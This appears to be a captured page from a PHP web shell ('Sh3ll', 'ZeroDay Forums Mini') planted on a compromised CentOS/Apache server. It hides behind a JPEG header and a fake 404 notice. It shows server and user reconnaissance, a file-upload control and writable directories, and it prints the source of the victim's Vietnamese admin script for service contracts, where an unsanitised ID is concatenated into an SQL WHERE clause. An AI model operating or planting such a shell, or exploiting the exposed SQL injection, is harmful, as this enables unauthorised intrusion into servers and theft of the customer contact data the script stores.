����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/service/post_service_event.php
<?php
$f1 = $DB->get_colum_tb('tb_service_event');
$f = array_merge($f1, $CORE->input['f']);

if($f['service_event_end']!='' and strtotime($f['service_event_begin'])>strtotime($f['service_event_end'])){
    exit('Sai thời gian bắt đầu và kết thúc');
}
$service_begin = date('Y-m-d',strtotime($f['service_event_begin']));
$service_end = date('Y-m-d',strtotime($f['service_event_end']));
if($f['service_event_id']>0){
    $arr_update = array('service_id'=>$f['service_id'],'service_event_donvitinh'=>$f['service_event_donvitinh'],'service_event_soluong'=>intval($f['service_event_soluong']),'service_event_dongia'=>money_input($f['service_event_dongia']),'service_event_tax'=>intval($f['service_event_tax']),'service_event_discount'=>intval($f['service_event_discount']),'service_event_begin'=>$service_begin,'service_event_end'=>$service_end,'time_post'=>date('Y-m-d h:i:s'),'user_post'=>$ob_user->user_name,
        'service_event_soluongweb'=>$f['service_event_soluongweb'],'service_event_tenweb'=>$f['service_event_tenweb'],'service_event_soluongbaiviet'=>$f['service_event_soluongbaiviet'],'service_event_soluongsuabai'=>$f['service_event_soluongsuabai'],'service_event_soluonglikebai'=>intval($f['service_event_soluonglikebai']),'service_event_soluonglikefanpage'=>intval($f['service_event_soluonglikefanpage']),'service_event_thoihanhopdong'=>$f['service_event_thoihanhopdong'],'service_event_tudonggiahan'=>$f['service_event_tudonggiahan'],'service_event_covat'=>$f['service_event_covat'],'service_event_sodotthanhtoan'=>$f['service_event_sodotthanhtoan'],'service_event_thoigianthanhtoan'=>$f['service_event_thoigianthanhtoan']
    ,'service_event_manguon'=>$f['service_event_manguon']
    ,'service_event_thoigianthuchien'=>$f['service_event_thoigianthuchien'],
        'service_event_donvigiahan'=>$f['service_event_donvigiahan'],'service_event_status'=>'active'
    ,'qlkt_fullname'=>$f['qlkt_fullname']
    ,'qlkt_chucvu'=>$f['qlkt_chucvu']
    ,'qlkt_diachi'=>$f['qlkt_diachi']
    ,'qlkt_phone'=>$f['qlkt_phone']
    ,'qlkt_email'=>$f['qlkt_email']
    ,'qltm_fullname'=>$f['qltm_fullname']
    ,'qltm_chucvu'=>$f['qltm_chucvu']
    ,'qltm_diachi'=>$f['qltm_diachi']
    ,'qltm_phone'=>$f['qltm_phone']
    ,'qltm_email'=>$f['qltm_email']

    ,'ntt_fullname'=>$f['ntt_fullname']
    ,'ntt_chucvu'=>$f['ntt_chucvu']
    ,'ntt_diachi'=>$f['ntt_diachi']
    ,'ntt_phone'=>$f['ntt_phone']
    ,'ntt_email'=>$f['ntt_email']
    );
    $DB->do_update('tb_service_event',$arr_update, " WHERE service_event_id='".$f['service_event_id']."'" );

    $v_service_id = $f['service_id'];
    $v_service_event_id = $f['service_event_id'];
    $print->refresh('?act=management&code=service&type=post&type2=post_service_event&id='.$v_service_id.'&service_event_id='.$v_service_event_id);
}else{
    $arr_insert = array('service_id'=>$f['service_id'],'service_event_donvitinh'=>$f['service_event_donvitinh'],'service_event_soluong'=>intval($f['service_event_soluong']),'service_event_dongia'=>intval($f['service_event_dongia']),'service_event_tax'=>intval($f['service_event_tax']),'service_event_discount'=>intval($f['service_event_discount']),'service_event_begin'=>$service_begin,'service_event_end'=>$service_end,'time_post'=>date('Y-m-d h:i:s'),'user_post'=>$ob_user->user_name,
        'service_event_soluongweb'=>$f['service_event_soluongweb'],'service_event_tenweb'=>$f['service_event_tenweb'],'service_event_soluongbaiviet'=>$f['service_event_soluongbaiviet'],'service_event_soluongsuabai'=>$f['service_event_soluongsuabai'],'service_event_soluonglikebai'=>intval($f['service_event_soluonglikebai']),'service_event_soluonglikefanpage'=>intval($f['service_event_soluonglikefanpage']),'service_event_thoihanhopdong'=>$f['service_event_thoihanhopdong'],'service_event_tudonggiahan'=>$f['service_event_tudonggiahan'],'service_event_covat'=>$f['service_event_covat'],'service_event_sodotthanhtoan'=>$f['service_event_sodotthanhtoan'],'service_event_thoigianthanhtoan'=>$f['service_event_thoigianthanhtoan']
    ,'service_event_manguon'=>$f['service_event_manguon']
    ,'service_event_thoigianthuchien'=>$f['service_event_thoigianthuchien'],
        'service_event_donvigiahan'=>$f['service_event_donvigiahan'],'service_event_status'=>'active'
        ,'qlkt_fullname'=>$f['qlkt_fullname']
    ,'qlkt_chucvu'=>$f['qlkt_chucvu']
    ,'qlkt_diachi'=>$f['qlkt_diachi']
    ,'qlkt_phone'=>$f['qlkt_phone']
    ,'qlkt_email'=>$f['qlkt_email']
    ,'qltm_fullname'=>$f['qltm_fullname']
    ,'qltm_chucvu'=>$f['qltm_chucvu']
    ,'qltm_diachi'=>$f['qltm_diachi']
    ,'qltm_phone'=>$f['qltm_phone']
    ,'qltm_email'=>$f['qltm_email']

    ,'ntt_fullname'=>$f['ntt_fullname']
    ,'ntt_chucvu'=>$f['ntt_chucvu']
    ,'ntt_diachi'=>$f['ntt_diachi']
    ,'ntt_phone'=>$f['ntt_phone']
    ,'ntt_email'=>$f['ntt_email']
    );

    $v_service_id = $f['service_id'];
    $v_service_event_id=$DB->do_insert('tb_service_event',$arr_insert);
    
}
$print->refresh('?act=management&code=service&type=post&id='.$v_service_id);
?>

ZeroDay Forums Mini